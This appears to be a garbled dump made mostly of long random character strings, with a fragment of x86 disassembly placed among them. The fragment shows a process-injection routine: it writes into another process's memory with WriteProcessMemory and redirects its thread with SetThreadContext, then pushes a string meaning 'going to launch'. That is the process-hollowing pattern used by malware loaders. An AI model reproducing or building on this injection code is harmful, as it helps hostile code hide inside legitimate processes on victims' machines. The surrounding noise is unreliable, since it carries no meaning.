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
push 0
push 4
mov ecx, dword [ebp - 0x80c]
add ecx, 0x34
push ecx
mov edx, dword [ebp - 0x874]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [0x428ee0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x80c]
mov eax, dword [ebp - 0x820]
add eax, dword [edx + 0x28]
mov ecx, dword [ebp - 0x874]
mov dword [ecx + 0xb0], eax
mov edx, dword [ebp - 0x874]
push edx
mov eax, dword [0x428ee4]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x8ac], str.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
push str._tva_a_lanzar
call fcn.00401000
add esp, 4
mov dword [ebp - 0x8a8], 0x422810
mov al, 1
jmp 0x401586
mov dword [ebp - 0x8b4], str.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
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401c61
mov esp, ebp
pop ebp
ret